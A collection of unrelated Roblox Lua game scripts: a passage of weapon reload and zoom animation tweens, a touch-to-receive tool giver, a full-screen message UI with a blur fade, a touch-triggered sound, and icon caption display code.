ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.1) objs[5].Handle:WaitForChild("AimUp"):Play() ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play() wait(0.5) end; ZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play() wait(0.3) end; UnZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play() wait(0.3) end; ChamberAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(1.6,-1.45,-0.92) * CFrame.Angles(math.rad(-180),math.rad(90),math.rad(0))}):Play() wait(.35) objs[5].Bolt:WaitForChild("SlidePull"):Play() ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(1.15,-1.45,-0.92) * CFrame.Angles(math.rad(-180),math.rad(90),math.rad(0))}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.3) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() end; ChamberBKAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, -0.465, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.1,-0.15,-1.115) * CFrame.Angles(math.rad(-110),math.rad(25),math.rad(0))}):Play() wait(0.3) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[3],TweenInfo.new(0.15),{C1 = CFrame.new(0.1,-0.15,-1.025) * CFrame.Angles(math.rad(-100),math.rad(30),math.rad(0))}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.15) end; CheckAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.8) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(.35) local MagC = objs[5]:WaitForChild("Mag"):clone() objs[5].Mag.Transparency = 1 MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame) ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.4,0.275,-2.5) * CFrame.Angles(math.rad(-120),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagOut"):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play() wait(1.5) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.4,0.275,-2.5) * CFrame.Angles(math.rad(-120),math.rad(0),math.rad(7.5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.8) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 wait(0.3) end; ShellInsertAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() wait(0.3) objs[5].Handle:WaitForChild("ShellInsert"):Play() ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() objs[6].Value = objs[6].Value - 1 objs[7].Value = objs[7].Value + 1 wait(0.3) end; ReloadAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.8) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.5) objs[5].Mag.Transparency = 1 objs[5].Handle:WaitForChild("MagOut"):Play() local MagC = objs[5]:WaitForChild("Mag"):clone() MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame) ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play() ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-0.875, 0, -1.35) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.4,0.275,-2.5) * CFrame.Angles(math.rad(-120),math.rad(0),math.rad(7.5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.6),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play() wait(1.5) ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.4,0.275,-2.5) * CFrame.Angles(math.rad(-120),math.rad(0),math.rad(7.5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.8) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() ts:Create(objs[2],TweenInfo.new(0.1),{C1 = CFrame.new(-0.875, 0, -1.125) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then objs[7].Value = objs[7].Value + objs[6].Value objs[6].Value = 0 --Evt.Recarregar:FireServer(objs[5].Value) elseif objs[7].Value <= 0 then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo objs[9] = false elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1 --objs[10].Recarregar:FireServer(objs[6].Value) objs[7].Value = objs[8].Ammo + 1 elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo end wait(0.55) end;
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.FootballBall-- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage hitPart.Touched:Connect(function(hit) if debounce == true then if hit.Parent:FindFirstChild("Humanoid") then local plr = game.Players:FindFirstChild(hit.Parent.Name) if plr then debounce = false hitPart.BrickColor = BrickColor.new("Bright red") tool:Clone().Parent = plr.Backpack wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again debounce = true hitPart.BrickColor = BrickColor.new("Bright green") end end end end)
--// All global vars will be wiped/replaced except script
return function(data) local gui = client.UI.Prepare(script.Parent.Parent) -- Change it to a TextLabel to avoid chat clearing local playergui = service.PlayerGui local frame = gui.Frame local msg = gui.Frame.Message local ttl = gui.Frame.Title local gIndex = data.gIndex local gTable = data.gTable local title = data.Title local message = data.Message local scroll = data.Scroll local tim = data.Time if not data.Message or not data.Title then gui:Destroy() end ttl.Text = title msg.Text = message ttl.TextTransparency = 1 msg.TextTransparency = 1 ttl.TextStrokeTransparency = 1 msg.TextStrokeTransparency = 1 frame.BackgroundTransparency = 1 local log = { Type = "Full Screen Message"; Title = title; Message = message; Icon = "rbxassetid://7501175708"; Time = os.date("%X"); Function = nil; } table.insert(client.Variables.CommunicationsHistory, log) service.Events.CommsPanel:Fire(log) local blur = service.New("BlurEffect") blur.Enabled = false blur.Size = 0 blur.Parent = workspace.CurrentCamera local fadeSteps = 10 local blurSize = 10 local textFade = 0.1 local strokeFade = 0.5 local frameFade = 0.3 local blurStep = blurSize/fadeSteps local frameStep = frameFade/fadeSteps local textStep = 0.1 local strokeStep = 0.1 local gone = false local function fadeIn() if not gone then blur.Enabled = true gTable:Ready() --gui.Parent = service.PlayerGui for i = 1,fadeSteps do if blur.Size<blurSize then blur.Size = blur.Size+blurStep end if msg.TextTransparency>textFade then msg.TextTransparency = msg.TextTransparency-textStep ttl.TextTransparency = ttl.TextTransparency-textStep end if msg.TextStrokeTransparency>strokeFade then msg.TextStrokeTransparency = msg.TextStrokeTransparency-strokeStep ttl.TextStrokeTransparency = ttl.TextStrokeTransparency-strokeStep end if frame.BackgroundTransparency>frameFade then frame.BackgroundTransparency = frame.BackgroundTransparency-frameStep end wait(1/60) end end end local function fadeOut() if not gone then for i = 1,fadeSteps do if blur.Size>0 then blur.Size = blur.Size-blurStep end if msg.TextTransparency<1 then msg.TextTransparency = msg.TextTransparency+textStep ttl.TextTransparency = ttl.TextTransparency+textStep end if msg.TextStrokeTransparency<1 then msg.TextStrokeTransparency = msg.TextStrokeTransparency+strokeStep ttl.TextStrokeTransparency = ttl.TextStrokeTransparency+strokeStep end if frame.BackgroundTransparency<1 then frame.BackgroundTransparency = frame.BackgroundTransparency+frameStep end wait(1/60) end blur.Enabled = false blur:Destroy() service.UnWrap(gui):Destroy() gone = true end end gTable.CustomDestroy = function() if not gone then gone = true pcall(fadeOut) end pcall(function() service.UnWrap(gui):Destroy() end) pcall(function() blur:Destroy() end) end --[[if not scroll then msg.Text = message else Routine(function() wait(0.5) for i = 1, #message do msg.Text = msg.Text .. message:sub(i,i) wait(0.05) end end) end--]] -- For now? fadeIn() wait(tim or 5) if not gone then fadeOut() end --[[ frame.Position = UDim2.new(0.5,-175,-1.5,0) gui.Parent = playergui frame:TweenPosition(UDim2.new(0.5,-175,0.25,0),nil,nil,0.5) if not scroll then msg.Text = message wait(tim or 10) else wait(0.5) for i = 1, #message do msg.Text = msg.Text .. message:sub(i,i) wait(0.05) end wait(tim or 5) end if frame then frame:TweenPosition(UDim2.new(0.5,-175,-1.5,0),nil,nil,0.5) wait(1) gui:Destroy() end --]] end
--Change sound id to the id you want to play
debounce = false script.Parent.Touched:connect(function(hit) if not debounce then debounce = true if(hit.Parent:FindFirstChild("Humanoid")~=nil)then local player = game.Players:GetPlayerFromCharacter(hit.Parent) local sound = script.Parent.Sound:Clone() sound.Parent = player.PlayerGui sound:Play() wait(60)--change to how long before the sound plays again after retouching it end debounce = false end end)
-- Captions
DEFAULT_FORCED_GROUP_VALUES["caption"] = 1 function Icon:setCaption(text) assert(typeof(text) == "string" or text == nil, "Expected string, got "..typeof(text)) self.captionText = text self.instances.captionLabel.Text = text self.instances.captionContainer.Parent = (text and activeItems) or self.instances.iconContainer self:_updateIconSize(nil, self:getIconState()) local captionMaid = Maid.new() self._maid.captionMaid = captionMaid captionMaid:give(self.hoverStarted:Connect(function() if not self.isSelected then self:displayCaption(true) end end)) captionMaid:give(self.hoverEnded:Connect(function() self:displayCaption(false) end)) captionMaid:give(self.selected:Connect(function() if self.hovering then self:displayCaption(false) end end)) local iconContainer = self.instances.iconContainer captionMaid:give(iconContainer:GetPropertyChangedSignal("AbsoluteSize"):Connect(function() if self.hovering then self:displayCaption() end end)) captionMaid:give(iconContainer:GetPropertyChangedSignal("AbsolutePosition"):Connect(function() if self.hovering then self:displayCaption() end end)) self:displayCaption(self.hovering) return self end function Icon:displayCaption(bool) if userInputService.TouchEnabled and not self._draggingFinger then return end local yOffset = 8 -- Determine caption position if self._draggingFinger then yOffset = yOffset + THUMB_OFFSET end local iconContainer = self.instances.iconContainer local captionContainer = self.instances.captionContainer local newPos = UDim2.new(0, iconContainer.AbsolutePosition.X+iconContainer.AbsoluteSize.X/2-captionContainer.AbsoluteSize.X/2, 0, iconContainer.AbsolutePosition.Y+(iconContainer.AbsoluteSize.Y*2)+yOffset) captionContainer.Position = newPos -- Determine caption visibility local isVisible = self.captionVisible or false if typeof(bool) == "boolean" then isVisible = bool end self.captionVisible = isVisible -- Change transparency of relavent caption instances local captionFadeInfo = self:get("captionFadeInfo") for _, settingName in pairs(self._groupSettings.caption) do local settingDetail = self._settingsDictionary[settingName] settingDetail.useForcedGroupValue = not isVisible self:_update(settingName) end end